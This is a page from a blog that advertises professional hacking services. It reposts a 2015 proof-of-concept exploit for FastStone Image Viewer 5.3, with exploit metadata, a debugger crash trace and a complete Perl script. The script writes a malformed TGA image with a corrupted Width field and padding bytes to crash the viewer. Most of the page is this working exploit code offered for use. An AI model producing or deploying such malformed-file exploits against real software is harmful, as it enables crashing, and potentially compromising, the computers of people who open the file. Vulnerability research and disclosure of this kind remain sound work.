Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86391665

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title         : FastStoneImage Viewer (Corrupted tga) IMAGESPECIFICATION.Width Crash POC
# Product               : FastStoneImage Viewer
# Date                  : 25.02.2015
# Exploit Author        : ITDefensor Vulnerability Research Team http://itdefensor.ru/
# Software Link         : http://www.faststone.org/FSViewerDownload.htm
# Vulnerable version    : 5.3 (Latest at the moment) and probably previous versions
# Vendor Homepage       : http://www.faststone.org/
# Tested on             : FastStoneImage Viewer 5.3 installed on Windows 7 x64, Windows Server 2008
# CVE                   : unknown at the moment
#============================================================================================
# Open created POC file (poc.tga) with FastStoneImage Viewer
# Details
#*** ERROR: Module load completed but symbols could not be loaded for image00000000`00400000
#image00000000_00400000+0x9357:
#00409357 893a            mov     dword ptr [edx],edi  ds:002b:00e00880=????????
#0:000:x86> kb
#ChildEBP RetAddr  Args to Child              
#WARNING: Stack unwind information not available. Following frames may be wrong.
#0018f688 004ff000 0018f6b4 00404619 0018f6ac image00000000_00400000+0x9357
#0018f6ac 00425374 0018f6c0 0042537e 0018f6d8 image00000000_00400000+0xff000
#0018f6d8 004255a2 0018f72c 0018f6f0 004256bb image00000000_00400000+0x25374
#0018f72c 004257ee 0018f784 00425822 0018f758 image00000000_00400000+0x255a2
#============================================================================================
#!/usr/bin/perl -w

	$tga_id = "tga poc example" ;
	
	$tga_header =		"\xf" .				#	IDLength
						"\x00" .			#	ColorMapType
						"\xa" ;				#	ImageType
						
	$tga_cms_spec =		"\x00\x00" .		#	FirstIndexEntry
						"\x00\x00" .		#	ColorMapLength
						"\x00" ;			#	ColorMapEntrySize
	
	$tga_image_spec =	"\x00\x00" .		#	XOrigin
						"\x00\x00" .		#	YOrigin
						"\x00\xa0" .		#	Width		<--- ! Incorrect field, leads to application crash
						"\x80\x00" .		#	Height
						"\x10" .			#	PixelDepth
						"\x1" ;				#	ImageDescriptor
						
	$tga_file_header = $tga_header . $tga_cms_spec . $tga_image_spec . $tga_id ;				
	$tga = $tga_file_header . "a" x 10000 ;
	
	open FILE, ">poc.tga"	or die("Can't open poc.tga\n") ;
	binmode(FILE) ;
	print FILE $tga ;
	close FILE ;